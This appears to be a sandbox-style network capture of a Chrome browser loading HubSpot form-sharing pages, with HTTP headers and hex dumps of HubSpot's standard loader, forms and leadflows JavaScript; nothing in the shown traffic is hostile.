Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:33 UTC	529	OUT	GET /48528028.js HTTP/1.1 Host: js.hs-scripts.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	862	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: application/javascript;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin x-hubspot-correlation-id: 14a033cd-2cc0-400d-b6b7-a73ec956eef6 access-control-allow-credentials: true x-content-type-options: nosniff access-control-max-age: 3600 access-control-allow-origin: https://share.hsforms.com Last-Modified: Fri, 10 Jan 2025 11:04:34 GMT CF-Cache-Status: EXPIRED Expires: Fri, 10 Jan 2025 11:06:04 GMT Cache-Control: public, max-age=90 Set-Cookie: __cf_bm=.KCJNpXxnivp9FkjJLkhUjXgtWisHKGyffK.IBCoIY0-1736507074-1.0.1.1-WEn_H9LcDeuTgsHodl.A_ny4TOIPBIMObn1f7KNTJ7FwNpnaUlEidhPtVefGw1UjbVHfXbrZtpdSk0hvb757.A; path=/; expires=Fri, 10-Jan-25 11:34:34 GMT; domain=.hs-scripts.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8ffc2fdc5bb05e68-EWR
2025-01-10 11:04:34 UTC	507	IN	Data Raw: 38 32 35 0d 0a 2f 2f 20 48 75 62 53 70 6f 74 20 53 63 72 69 70 74 20 4c 6f 61 64 65 72 2e 20 50 6c 65 61 73 65 20 64 6f 20 6e 6f 74 20 62 6c 6f 63 6b 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 20 53 65 65 20 6d 6f 72 65 3a 20 68 74 74 70 3a 2f 2f 68 75 62 73 2e 6c 79 2f 48 30 37 30 32 5f 48 30 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 29 7b 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 63 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 68 73 2d 61 6e 61 6c 79 74 69 63 73 2e 6e 65 74 2f 61 6e 61 6c 79 74 69 63 73 2f 31 37 33 36 35 30 36 38 30 30 30 30 30 2f 34 38 35 32 38 30 32 38 2e Data Ascii: 825// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1736506800000/48528028.
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 73 2e 68 73 63 6f 6c 6c 65 63 74 65 64 66 6f 72 6d 73 2e 6e 65 74 2f 63 6f 6c 6c 65 63 74 65 64 66 6f 72 6d 73 2e 6a 73 22 2c 6e 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 6e 2e 69 64 3d 74 2c 72 29 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 29 26 26 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 61 2c 72 5b 61 5d 29 3b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 69 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6e 2c 69 29 7d 7d 28 22 43 6f 6c 6c 65 63 74 65 64 46 6f 72 6d 73 2d 34 38 35 32 38 30 32 38 22 2c 30 2c 7b 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 3a 22 61 6e 6f 6e 79 6d 6f 75 73 Data Ascii: s.hscollectedforms.net/collectedforms.js",n.type="text/javascript",n.id=t,r)r.hasOwnProperty(a)&&n.setAttribute(a,r[a]);var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(n,i)}}("CollectedForms-48528028",0,{"crossorigin":"anonymous
2025-01-10 11:04:34 UTC	216	IN	Data Raw: 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 6e 2c 69 29 7d 7d 28 22 63 6f 6f 6b 69 65 42 61 6e 6e 65 72 2d 34 38 35 32 38 30 32 38 22 2c 30 2c 7b 22 64 61 74 61 2d 63 6f 6f 6b 69 65 63 6f 6e 73 65 6e 74 22 3a 22 69 67 6e 6f 72 65 22 2c 22 64 61 74 61 2d 68 73 2d 69 67 6e 6f 72 65 22 3a 74 72 75 65 2c 22 64 61 74 61 2d 6c 6f 61 64 65 72 22 3a 22 68 73 2d 73 63 72 69 70 74 6c 6f 61 64 65 72 22 2c 22 64 61 74 61 2d 68 73 6a 73 2d 70 6f 72 74 61 6c 22 3a 34 38 35 32 38 30 32 38 2c 22 64 61 74 61 2d 68 73 6a 73 2d 65 6e 76 22 3a 22 70 72 6f 64 22 2c 22 64 61 74 61 2d 68 73 6a 73 2d 68 75 62 6c 65 74 22 3a 22 6e 61 31 22 7d 29 3b 0d 0a Data Ascii: Node.insertBefore(n,i)}}("cookieBanner-48528028",0,{"data-cookieconsent":"ignore","data-hs-ignore":true,"data-loader":"hs-scriptloader","data-hsjs-portal":48528028,"data-hsjs-env":"prod","data-hsjs-hublet":"na1"});
2025-01-10 11:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49860	104.16.140.209	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:34 UTC	519	OUT	GET /48528028.js HTTP/1.1 Host: js.hs-scripts.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=.KCJNpXxnivp9FkjJLkhUjXgtWisHKGyffK.IBCoIY0-1736507074-1.0.1.1-WEn_H9LcDeuTgsHodl.A_ny4TOIPBIMObn1f7KNTJ7FwNpnaUlEidhPtVefGw1UjbVHfXbrZtpdSk0hvb757.A
2025-01-10 11:04:34 UTC	593	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: application/javascript;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin x-hubspot-correlation-id: 14a033cd-2cc0-400d-b6b7-a73ec956eef6 access-control-allow-credentials: true x-content-type-options: nosniff access-control-max-age: 3600 access-control-allow-origin: https://share.hsforms.com Last-Modified: Fri, 10 Jan 2025 11:04:34 GMT CF-Cache-Status: HIT Age: 0 Expires: Fri, 10 Jan 2025 11:06:04 GMT Cache-Control: public, max-age=90 Server: cloudflare CF-RAY: 8ffc2fe0cca84376-EWR
2025-01-10 11:04:34 UTC	776	IN	Data Raw: 38 32 35 0d 0a 2f 2f 20 48 75 62 53 70 6f 74 20 53 63 72 69 70 74 20 4c 6f 61 64 65 72 2e 20 50 6c 65 61 73 65 20 64 6f 20 6e 6f 74 20 62 6c 6f 63 6b 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 20 53 65 65 20 6d 6f 72 65 3a 20 68 74 74 70 3a 2f 2f 68 75 62 73 2e 6c 79 2f 48 30 37 30 32 5f 48 30 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 29 7b 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 63 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 68 73 2d 61 6e 61 6c 79 74 69 63 73 2e 6e 65 74 2f 61 6e 61 6c 79 74 69 63 73 2f 31 37 33 36 35 30 36 38 30 30 30 30 30 2f 34 38 35 32 38 30 32 38 2e Data Ascii: 825// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1736506800000/48528028.
2025-01-10 11:04:34 UTC	1316	IN	Data Raw: 2d 70 6f 72 74 61 6c 2d 69 64 22 3a 34 38 35 32 38 30 32 38 2c 22 64 61 74 61 2d 6c 65 61 64 69 6e 2d 65 6e 76 22 3a 22 70 72 6f 64 22 2c 22 64 61 74 61 2d 6c 6f 61 64 65 72 22 3a 22 68 73 2d 73 63 72 69 70 74 6c 6f 61 64 65 72 22 2c 22 64 61 74 61 2d 68 73 6a 73 2d 70 6f 72 74 61 6c 22 3a 34 38 35 32 38 30 32 38 2c 22 64 61 74 61 2d 68 73 6a 73 2d 65 6e 76 22 3a 22 70 72 6f 64 22 2c 22 64 61 74 61 2d 68 73 6a 73 2d 68 75 62 6c 65 74 22 3a 22 6e 61 31 22 7d 29 3b 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 66 6f 72 28 76 61 72 20 61 20 Data Ascii: -portal-id":48528028,"data-leadin-env":"prod","data-loader":"hs-scriptloader","data-hsjs-portal":48528028,"data-hsjs-env":"prod","data-hsjs-hublet":"na1"});!function(t,e,r){if(!document.getElementById(t)){var n=document.createElement("script");for(var a
2025-01-10 11:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49855	104.17.173.91	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:34 UTC	406	OUT	GET /forms-submission-pages/static-1.5640/bundles/share-legacy.js HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	1348	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Thu, 09 Jan 2025 22:41:13 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: GPrHKuF7WcDByKwg5i3PQTQyM2medcdZ etag: W/"551afc910ff029ad0d875bcda97b517f" x-cache: Miss from cloudfront via: 1.1 86ac3b64ccc9620b71c1780cdcce00a6.cloudfront.net (CloudFront) x-amz-cf-pop: ORD58-P3 x-amz-cf-id: L1WqxvwtoG7uLahv_cZQZozhDukmQkiEYweFNxHU-J7E4zgOBMbSHQ== CF-Cache-Status: HIT Age: 2300 Expires: Sat, 10 Jan 2026 11:04:34 GMT Cache-Control: public, max-age=31536000 Set-Cookie: __cf_bm=klVYd7VD0Hw6pCD5qdFtANmhuBsOAbKRDNOfR6WQ1cE-1736507074-1.0.1.1-Y5ojX9ZZfgfpXDZKrxxj7ayW6yM81OV6V3i48r_JO6_X0F7Y1lAYtL1LyxtggV6YRymcpmgKUHq9kBXeXucBZA; path=/; expires=Fri, 10-Jan-25 11:34:34 GMT; domain=.hsappstatic.net; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bETAssFYV1lc%2BeKOIaq4E1yYgkvJUjvbOsswlI2PjLaW9Aj2EwTPG4Mi0roTO2IGPK9dqRpLMpkIY3gW5bK3qOkKm8meJ%2F3ia6cwqNaqp5N23ClCIkGJFNuRUzFVGz2BNaUDZnkObrA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2025-01-10 11:04:34 UTC	143	IN	Data Raw: 76 61 72 79 3a 20 4f 72 69 67 69 6e 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 48 65 61 64 65 72 73 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 4d 65 74 68 6f 64 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 63 32 66 65 30 63 62 36 38 34 33 63 33 2d 45 57 52 0d 0a 0d 0a Data Ascii: vary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-MethodServer: cloudflareCF-RAY: 8ffc2fe0cb6843c3-EWR
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 63 36 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 74 3d 22 68 73 66 6f 72 6d 73 22 2c 72 3d 7b 68 73 66 6f 72 6d 73 3a 7b 70 72 6f 64 3a 22 68 73 66 6f 72 6d 73 2e 63 6f 6d 22 2c 71 61 3a 22 68 73 66 6f 72 6d 73 71 61 2e 63 6f 6d 22 7d 7d 2c 6e 3d 22 73 68 61 72 65 22 2c 6f 3d 22 73 75 72 76 65 79 22 2c 65 3d 7b 5b 6e 5d 3a 22 73 68 61 72 65 22 2c 5b 6f 5d 3a 22 73 75 72 76 65 79 22 7d 2c 73 3d 74 3d 3e 74 26 26 22 6e 61 31 22 21 3d 3d 74 3f 60 2d 24 7b 74 7d 60 3a 22 22 2c 61 3d 74 3d 3e 22 6c 6f 63 61 6c 22 3d 3d 3d 74 7c 7c 22 71 61 22 3d 3d 3d 74 3f 22 71 61 22 3a 22 70 72 6f 64 22 2c 69 3d 74 3d 3e 65 5b 74 5d 2c 63 3d 28 74 2c 6e 29 3d 3e 72 5b 74 5d 5b 61 28 6e 29 5d 2c 75 3d 28 72 2c 6e 3d Data Ascii: c6a!function(){"use strict";const t="hsforms",r={hsforms:{prod:"hsforms.com",qa:"hsformsqa.com"}},n="share",o="survey",e={[n]:"share",[o]:"survey"},s=t=>t&&"na1"!==t?`-${t}`:"",a=t=>"local"===t\|\|"qa"===t?"qa":"prod",i=t=>e[t],c=(t,n)=>r[t][a(n)],u=(r,n=
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 29 3a 28 6c 2d 32 36 29 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2c 55 3d 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 68 2e 65 78 65 63 28 74 29 3b 72 65 74 75 72 6e 20 72 26 26 72 2e 6c 65 6e 67 74 68 3f 72 5b 31 5d 3a 6e 75 6c 6c 7d 2c 78 3d 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 74 2e 63 68 61 72 41 74 28 30 29 3d 3d 3d 64 2c 6e 3d 72 3f 32 3a 31 2c 6f 3d 24 28 49 28 74 2e 73 75 62 73 74 72 69 6e 67 28 6e 2c 32 32 2b 6e 29 29 29 3b 72 65 74 75 72 6e 7b 66 6f 72 6d 47 75 69 64 3a 72 3f 6f 2e 72 65 70 6c 61 63 65 28 2f 2d 2f 67 2c 22 22 29 3a 6f 2c 70 6f 72 74 61 6c 49 64 3a 70 61 72 73 65 49 6e 74 28 74 2e 73 75 62 73 74 72 69 6e 67 28 32 32 2b 6e 29 2c 33 36 29 2c 76 65 72 73 69 6f 6e 3a 43 28 74 2e 63 68 61 72 41 74 28 6e Data Ascii: ):(l-26).toString(36).toUpperCase(),U=t=>{const r=h.exec(t);return r&&r.length?r[1]:null},x=t=>{const r=t.charAt(0)===d,n=r?2:1,o=$(I(t.substring(n,22+n)));return{formGuid:r?o.replace(/-/g,""):o,portalId:parseInt(t.substring(22+n),36),version:C(t.charAt(n
2025-01-10 11:04:34 UTC	447	IN	Data Raw: 68 28 5b 22 73 65 74 43 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 2c 44 28 29 5d 29 3b 4b 28 29 2e 6f 6e 46 6f 72 6d 52 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4b 28 29 2e 63 75 72 72 65 6e 74 46 6f 72 6d 2e 73 65 74 43 6f 6e 74 65 78 74 28 7b 70 61 67 65 55 72 6c 3a 42 28 29 2b 22 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 7d 29 3b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 65 72 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6c 6f 61 64 65 64 22 29 7d 29 29 3b 4b 28 29 2e 6f 6e 52 65 6e 64 65 72 45 72 72 6f 72 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 65 72 22 29 2e 63 Data Ascii: h(["setCanonicalUrl",D()]);K().onFormReady((function(){K().currentForm.setContext({pageUrl:B()+""+window.location.search});document.querySelector(".container").classList.add("loaded")}));K().onRenderError((function(){document.querySelector(".container").c
2025-01-10 11:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49858	104.18.138.17	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:34 UTC	563	OUT	GET /leadflows.js HTTP/1.1 Host: js.hsleadflows.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.hsforms.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:34 UTC	1335	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * access-control-allow-methods: GET access-control-max-age: 3000 x-amz-replication-status: COMPLETED last-modified: Thu, 12 Dec 2024 15:49:15 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: PqQn.3x38ZWRmSYb9J2u1wYA9Etnh36Z etag: W/"e9829c28fae41e369bd948323746cc37" vary: Origin,Access-Control-Request-Headers,Access-Control-Request-Method,accept-encoding x-cache: Hit from cloudfront via: 1.1 c5f8f8068a88ebb73e505f5e51b5262e.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: D48SMMBbDQ9KrZzXwkSo3jWhygsyPcby-yFVNKMRsYCQWQ7uI9F7Lg== content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=lead-flows-js/static-1.2121/bundle/main/lead-flows-release.js&cfRay=8f171a9ccf85e635-IAD Cache-Control: s-maxage=86400, max-age=0 x-hs-target-asset: lead-flows-js/static-1.2121/bundle/main/lead-flows-release.js x-content-type-options: nosniff x-hs-cache-status: MISS x-envoy-upstream-service-time: 7 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: ebb2c5d8-65fe-4655-93c8-f7bee4a18b52
2025-01-10 11:04:34 UTC	645	IN	Data Raw: 78 2d 65 76 79 2d 74 72 61 63 65 2d 73 65 72 76 65 64 2d 62 79 2d 70 6f 64 3a 20 69 61 64 30 32 2f 61 70 70 2d 74 64 2f 65 6e 76 6f 79 2d 70 72 6f 78 79 2d 38 35 36 64 38 37 38 37 64 35 2d 6e 36 62 78 6e 0d 0a 78 2d 65 76 79 2d 74 72 61 63 65 2d 6c 69 73 74 65 6e 65 72 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 0d 0a 78 2d 65 76 79 2d 74 72 61 63 65 2d 72 6f 75 74 65 2d 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 2f 61 6c 6c 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 65 62 62 32 63 35 64 38 2d 36 35 66 65 2d 34 36 35 35 2d 39 33 63 38 2d 66 37 62 65 65 34 61 31 38 62 35 32 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 6c 65 61 64 2d 66 6c 6f 77 73 2d 63 6c 6f 75 64 66 6c 61 Data Ascii: x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-n6bxnx-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-request-id: ebb2c5d8-65fe-4655-93c8-f7bee4a18b52cache-tag: staticjsapp-lead-flows-cloudfla
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 61 2c 74 3b 6e 75 6c 6c 3d 3d 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 26 26 28 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 3d 7b 7d 29 3b 6e 75 6c 6c 3d 3d 28 65 3d 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 29 2e 70 72 65 73 65 72 76 65 64 4c 65 61 64 69 6e 47 6c 6f 62 61 6c 73 26 26 28 65 2e 70 72 65 73 65 72 76 65 64 4c 65 61 64 69 6e 47 6c 6f 62 61 6c 73 3d 7b 7d 29 3b 6e 75 6c 6c 3d 3d 28 61 3d 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 29 2e 70 72 65 73 65 72 76 65 64 4f 74 68 65 72 47 6c 6f 62 61 6c 73 26 26 28 61 2e 70 72 65 73 65 72 76 65 64 4f 74 68 65 72 47 6c 6f 62 61 6c 73 3d 7b 7d 29 3b 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 61 5b 65 5d 3d Data Ascii: 7ffa!function(){var e,a,t;null==window.leadflows&&(window.leadflows={});null==(e=window.leadflows).preservedLeadinGlobals&&(e.preservedLeadinGlobals={});null==(a=window.leadflows).preservedOtherGlobals&&(a.preservedOtherGlobals={});t=function(e,a){a[e]=
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 65 5b 61 5d 3d 21 30 3b 72 65 74 75 72 6e 20 65 7d 29 2c 7b 7d 29 29 3b 6c 2e 70 75 73 68 28 7b 74 61 72 3a 65 2c 66 6e 3a 69 28 65 2c 6e 29 7d 29 3b 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 7c 7c 74 28 74 68 69 73 29 7d 2c 74 61 6b 65 52 65 63 6f 72 64 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 61 3d 74 68 69 73 2e 5f 77 61 74 63 68 65 64 2c 74 3d 30 3b 74 3c 61 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 61 5b 74 5d 2e 66 6e 28 65 29 3b 72 65 74 75 72 6e 20 65 7d 2c 64 69 73 63 6f 6e 6e 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 77 61 74 63 68 65 64 3d 5b 5d 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 29 3b 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 3d 6e 75 6c 6c 7d 7d 3b 66 Data Ascii: e[a]=!0;return e}),{}));l.push({tar:e,fn:i(e,n)});this._timeout\|\|t(this)},takeRecords:function(){for(var e=[],a=this._watched,t=0;t<a.length;t++)a[t].fn(e);return e},disconnect:function(){this._watched=[];clearTimeout(this._timeout);this._timeout=null}};f
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 65 2e 70 6f 70 28 29 3b 29 7b 66 3d 69 5b 6d 2e 69 5d 3b 75 3d 6f 5b 6d 2e 6a 5d 3b 69 66 28 6c 2e 6b 69 64 73 26 26 70 26 26 4d 61 74 68 2e 61 62 73 28 6d 2e 69 2d 6d 2e 6a 29 3e 3d 63 29 7b 61 2e 70 75 73 68 28 6e 28 7b 74 79 70 65 3a 22 63 68 69 6c 64 4c 69 73 74 22 2c 74 61 72 67 65 74 3a 74 2c 61 64 64 65 64 4e 6f 64 65 73 3a 5b 66 5d 2c 72 65 6d 6f 76 65 64 4e 6f 64 65 73 3a 5b 66 5d 2c 6e 65 78 74 53 69 62 6c 69 6e 67 3a 66 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 3a 66 2e 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 7d 29 29 3b 70 2d 2d 7d 6c 2e 61 74 74 72 26 26 75 2e 61 74 74 72 26 26 72 28 61 2c 66 2c 75 2e 61 74 74 72 2c 6c 2e 61 66 69 6c 74 65 72 29 3b 6c 2e 63 68 61 72 44 61 74 61 26 26 33 3d 3d 3d Data Ascii: e.pop();){f=i[m.i];u=o[m.j];if(l.kids&&p&&Math.abs(m.i-m.j)>=c){a.push(n({type:"childList",target:t,addedNodes:[f],removedNodes:[f],nextSibling:f.nextSibling,previousSibling:f.previousSibling}));p--}l.attr&&u.attr&&r(a,f,u.attr,l.afilter);l.charData&&3===
2025-01-10 11:04:34 UTC	1369	IN	Data Raw: 31 3d 3d 3d 6e 2e 6e 6f 64 65 54 79 70 65 26 26 28 69 2e 61 74 74 72 3d 62 28 6e 2e 61 74 74 72 69 62 75 74 65 73 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 61 2e 61 66 69 6c 74 65 72 26 26 21 61 2e 61 66 69 6c 74 65 72 5b 74 2e 6e 61 6d 65 5d 7c 7c 28 65 5b 74 2e 6e 61 6d 65 5d 3d 64 28 6e 2c 74 29 29 3b 72 65 74 75 72 6e 20 65 7d 29 2c 7b 7d 29 29 3b 74 26 26 28 61 2e 6b 69 64 73 7c 7c 61 2e 63 68 61 72 44 61 74 61 7c 7c 61 2e 61 74 74 72 26 26 61 2e 64 65 73 63 65 6e 64 65 6e 74 73 29 26 26 28 69 2e 6b 69 64 73 3d 5f 28 6e 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 65 29 29 3b 74 3d 61 2e 64 65 73 63 65 6e 64 65 6e 74 73 7d 65 6c 73 65 20 69 2e 63 68 61 72 44 61 74 61 3d 6e 2e 6e 6f 64 65 56 61 6c 75 65 3b 72 65 74 75 72 6e 20 69 7d 28 65 29 7d 66 75 6e Data Ascii: 1===n.nodeType&&(i.attr=b(n.attributes,(function(e,t){a.afilter&&!a.afilter[t.name]\|\|(e[t.name]=d(n,t));return e}),{}));t&&(a.kids\|\|a.charData\|\|a.attr&&a.descendents)&&(i.kids=_(n.childNodes,e));t=a.descendents}else i.charData=n.nodeValue;return i}(e)}fun
